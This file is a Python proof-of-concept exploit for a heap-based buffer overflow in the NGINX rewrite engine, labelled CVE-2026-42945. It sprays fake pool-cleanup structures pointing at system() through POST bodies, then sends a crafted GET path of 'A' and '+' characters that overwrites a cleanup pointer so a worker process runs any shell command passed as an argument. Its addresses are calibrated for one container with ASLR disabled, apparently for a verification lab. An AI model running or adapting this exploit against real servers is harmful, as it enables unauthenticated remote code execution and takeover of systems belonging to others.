#!/usr/bin/env python3
"""
CVE-2026-42945 ("NGINX Rift") RCE PoC — heap-based buffer overflow in the
NGINX rewrite script engine (ngx_http_script_regex_end_code: is_args not reset).

Single unauthenticated HTTP path:
  1. POST /spray  — plant N copies of a fake ngx_pool_cleanup_s {handler=system,
     data=&cmdstring, next=0} followed by the command string into request pools.
  2. GET /api/<349 'A'><969 '+'><6-byte target addr> — the rewrite trigger
     mis-sizes the copy buffer (each '+' re-escaped 1->3 bytes via
     ngx_escape_uri(NGX_ESCAPE_ARGS)), overflowing the adjacent ngx_pool_t and
     overwriting the low 6 bytes of its `cleanup` pointer to point at a sprayed
     fake struct. On ngx_destroy_pool -> handler(data) -> system("<cmd>").

RCE is per-attempt probabilistic: iterate sprayed-struct address candidates x
attempts until the worker executes the command. Drives the target solely over
HTTP. The command (carrying the verifier's per-run nonce) is supplied as argv.
"""
import argparse
import socket
import struct
import time
import sys

BODY_LEN = 4000
N_SPRAY = 20
TRIES_PER_CANDIDATE = 14

# --- Environment-calibrated constants (this container; ASLR off) -------------
# libc base from /proc/<worker>/maps; system() offset 0x50d70 (readelf).
DEFAULT_LIBC_BASE = 0x7ffffefc0000
SYSTEM_OFFSET = 0x50d70
# nginx rw data segment base (== upstream HEAP_BASE anchor for pool offsets).
DEFAULT_HEAP_BASE = 0x555555659000
# Offsets (from HEAP_BASE) at which sprayed POST bodies land in this build,
# measured by scanning the live worker's pool memory for the fake struct.
DEFAULT_STRUCT_OFFSETS = [
    0x5a427, 0x60e67, 0xb5137, 0xb9f47, 0xbed57, 0xc3b67, 0xc8977, 0xcd787,
    0xd2597, 0xd73a7, 0xdc1b7, 0xe0fc7, 0xe5dd7, 0xeabe7, 0xef9f7, 0xf4807,
    0xf9617, 0xfe427, 0x103237, 0x108047,
]

# URI-safe byte set: bytes that survive the rewrite path unescaped/unaltered.
SAFE = set()
_t = [0xffffffff, 0xd800086d, 0x50000000, 0xb8000001,
      0xffffffff, 0xffffffff, 0xffffffff, 0xffffffff]
for _b in range(256):
    if not (_t[_b >> 5] & (1 << (_b & 0x1f))):
        SAFE.add(_b)


def addr_is_safe(addr):
    return all(((addr >> (j * 8)) & 0xff) in SAFE for j in range(6))


def make_body(cmd, data_addr, system_addr):
    fake_struct = struct.pack('<QQQ', system_addr, data_addr, 0)
    cmd_bytes = cmd.encode('utf-8') + b'\x00'
    payload = fake_struct + cmd_bytes
    if len(payload) > BODY_LEN:
        print(f"[!] Command too long (body={len(payload)}, max={BODY_LEN})")
        sys.exit(1)
    return payload + b'\x41' * (BODY_LEN - len(payload))


def wait_alive(host, port, timeout=30):
    for _ in range(timeout):
        try:
            s = socket.create_connection((host, port), timeout=2)
            s.sendall(b"GET / HTTP/1.1\r\nHost:l\r\nConnection:close\r\n\r\n")
            s.recv(100)
            s.close()
            return True
        except Exception:
            time.sleep(1)
    return False


def attempt(host, port, target_bytes, body):
    sprays = []
    for _ in range(N_SPRAY):
        try:
            s = socket.create_connection((host, port), timeout=5)
            req = (b"POST /spray HTTP/1.1\r\nHost: l\r\n"
                   b"Content-Length: " + str(BODY_LEN).encode() + b"\r\n"
                   b"X-Delay: 60\r\nConnection: close\r\n\r\n" + body)
            s.sendall(req)
            sprays.append(s)
        except Exception:
            break
        time.sleep(0.005)
    time.sleep(0.2)

    try:
        a = socket.create_connection((host, port), timeout=5)
        time.sleep(0.02)
        v = socket.create_connection((host, port), timeout=5)
        time.sleep(0.02)
    except Exception:
        for s in sprays:
            try:
                s.close()
            except Exception:
                pass
        return False

    payload = "A" * 349 + "+" * 969 + target_bytes.decode("latin-1")
    a.sendall((f"GET /api/{payload} HTTP/1.1\r\nHost:localhost\r\n")
              .encode("latin-1"))
    time.sleep(0.05)
    v.sendall(b"GET / HTTP/1.1\r\nHost:localhost\r\n")
    time.sleep(0.05)
    a.sendall(b"X-Delay:0\r\nConnection:close\r\n\r\n")
    time.sleep(0.25)

    v.close()
    time.sleep(0.1)

    crashed = False
    try:
        a.sendall(b"X-Ping:1\r\n")
        a.settimeout(0.3)
        data = a.recv(1)
        if not data:
            crashed = True
    except socket.timeout:
        try:
            cs = socket.create_connection((host, port), timeout=0.3)
            cs.sendall(b"GET / HTTP/1.1\r\nHost:l\r\nConnection:close\r\n\r\n")
            cd = cs.recv(10)
            cs.close()
            crashed = not cd
        except Exception:
            crashed = True
    except (ConnectionResetError, BrokenPipeError, OSError):
        crashed = True

    for s in sprays:
        try:
            s.close()
        except Exception:
            pass
    try:
        a.close()
    except Exception:
        pass
    return crashed


def main():
    p = argparse.ArgumentParser(description="CVE-2026-42945 RCE (ASLR off)")
    p.add_argument("--host", default="127.0.0.1")
    p.add_argument("--port", type=int, default=19321)
    p.add_argument("--cmd", required=True,
                   help="shell command for the worker's system() to run")
    p.add_argument("--libc-base", type=lambda x: int(x, 0),
                   default=DEFAULT_LIBC_BASE)
    p.add_argument("--heap-base", type=lambda x: int(x, 0),
                   default=DEFAULT_HEAP_BASE)
    p.add_argument("--max-rounds", type=int, default=6,
                   help="full sweeps over all candidates before giving up")
    args = p.parse_args()

    system_addr = args.libc_base + SYSTEM_OFFSET
    cmd = args.cmd

    candidates = []
    for off in DEFAULT_STRUCT_OFFSETS:
        addr = args.heap_base + off
        if addr_is_safe(addr):
            candidates.append(addr)
    if not candidates:
        print("[!] no URI-safe struct address candidates")
        return 1
    print(f"[*] system()=0x{system_addr:x}  candidates={len(candidates)}  "
          f"cmd={cmd!r}")

    print(f"[*] waiting for nginx {args.host}:{args.port} ...")
    if not wait_alive(args.host, args.port):
        print("[!] nginx not responding")
        return 1

    for rnd in range(args.max_rounds):
        for addr in candidates:
            data_addr = addr + 24  # cmd string follows the 24-byte fake struct
            body = make_body(cmd, data_addr, system_addr)
            target = bytes([(addr >> (j * 8)) & 0xff for j in range(6)])
            for t in range(TRIES_PER_CANDIDATE):
                if not wait_alive(args.host, args.port, timeout=10):
                    time.sleep(2)
                    if not wait_alive(args.host, args.port, timeout=10):
                        print("    server not recovering, aborting")
                        return 1
                crashed = attempt(args.host, args.port, target, body)
                if crashed:
                    print(f"[+] round {rnd} addr=0x{addr:x} try {t+1}: worker "
                          f"crashed/redirected — system({cmd!r}) attempted")
                time.sleep(0.2)
        print(f"[*] completed sweep {rnd+1}/{args.max_rounds}")
    print("[*] attempt budget exhausted")
    return 0


if __name__ == "__main__":
    sys.exit(main())
